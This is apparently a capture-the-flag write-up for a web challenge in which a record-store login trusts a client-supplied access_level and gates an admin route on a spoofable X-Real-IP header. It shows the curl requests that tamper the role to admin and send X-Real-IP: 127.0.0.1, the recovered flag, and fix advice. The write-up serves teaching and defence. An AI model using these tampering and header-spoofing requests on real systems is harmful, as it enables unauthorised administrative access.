HEAD Office: Web
What the challenge was
A record-store login page with two fields: username and access level. The access-level selector offered only user, and the login script sent the request with a fixed X-Forwarded-For: 8.8.8.8 header. After login the page linked to /admin, described as a listening room.
Initial recon
The landing page was fetched and the inline script read. It exposed the whole authentication flow: a POST to / with username and access_level as form fields.
ffcurl -i http://54.72.82.22:8180HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.16class="hljs-keyword"><form id="login-form">
Username: class="hljs-keyword"><input name="username" id="username">class="hljs-keyword"><br>
Access Level:
class="hljs-keyword"><select name="access_level" id="access_level">
class="hljs-keyword"><option value="user">Userclass="hljs-keyword"></option>
class="hljs-keyword"></select>class="hljs-keyword"><br>
class="hljs-keyword"><button type="submit">Loginclass="hljs-keyword"></button>
class="hljs-keyword"></form>const res = await fetch(class="hljs-string">"/", {
method: class="hljs-string">"POST",
headers: {
class="hljs-string">"Content-Type": class="hljs-string">"application/x-www-form-urlencoded",
class="hljs-string">"X-Forwarded-For": class="hljs-string">"8.8.8.8"
},
body: class="hljs-string">`username=${encodeURIComponent(username)}&access_level=${encodeURIComponent(accessLevel)}`
});The access check was assumed to be enforced server-side, so the first test was whether access_level was trusted from the client.
The path
A normal user was posted first, then the same request was replayed with admin as the level:
ffcurl -s -X POST -d 'username=test&access_level=user' -H 'X-Forwarded-For: 8.8.8.8' http://54.72.82.22:8180 | grep -o "<p>.*</p>"<p>Access level: user</p>ffcurl -s -X POST -d 'username=test&access_level=admin' -H 'X-Forwarded-For: 8.8.8.8' http://54.72.82.22:8180 | grep -o "<p>.*</p>"<p>Access level: admin</p>The server accepted the tampered value and rendered the session as admin, with a link to /admin. That route was requested next:
ffcurl -s http://54.72.82.22:8180/admin -H 'X-Forwarded-For: 8.8.8.8'Access denied: Admins only....try harder!Spoofing X-Forwarded-For to loopback changed nothing, so the gate was not that header. The fixed client header indicated that the application consulted request IP headers, which made a second header of the same family worth testing. X-Real-IP with an external address was denied, and loopback was then tried:
ffcurl -s http://54.72.82.22:8180/admin -H 'X-Real-IP: 8.8.8.8'Access denied: Admins only....try harder!ffcurl -s http://54.72.82.22:8180/admin -H 'X-Real-IP: 127.0.0.1'<h3>Welcome to the listening room!</h3><p>Flag: safctf{e657eef1b0b097c60911f62cfe4ec61b}</p>That was the entire chain: client-side role selection combined with a trusted proxy header decided access to a hidden admin route.
The exploit
The role is set to admin at login, then the request presents as loopback using the header the server actually trusted:
ffcurl -s -X POST -d 'username=test&access_level=admin' -H 'X-Forwarded-For: 8.8.8.8' http://54.72.82.22:8180ffcurl -s http://54.72.82.22:8180/admin -H 'X-Real-IP: 127.0.0.1'Response:
<h3>Welcome to the listening room!</h3><p>Flag: safctf{e657eef1b0b097c60911f62cfe4ec61b}</p>No SQL injection was involved. The vulnerability was mass assignment of access_level combined with IP-based authorization using a spoofable header.
The flag
safctf{e657eef1b0b097c60911f62cfe4ec61b}Notes on method
Reading the inline script before any other action would have shortened the path. The hardcoded X-Forwarded-For indicated that IP headers mattered, and the single-option select indicated that the role was client-controlled. Testing the second common proxy header immediately after the first failed avoids a longer detour. The fix is to never trust access_level from the request, to bind admin sessions server-side, and to derive the client IP from the connection rather than from headers.
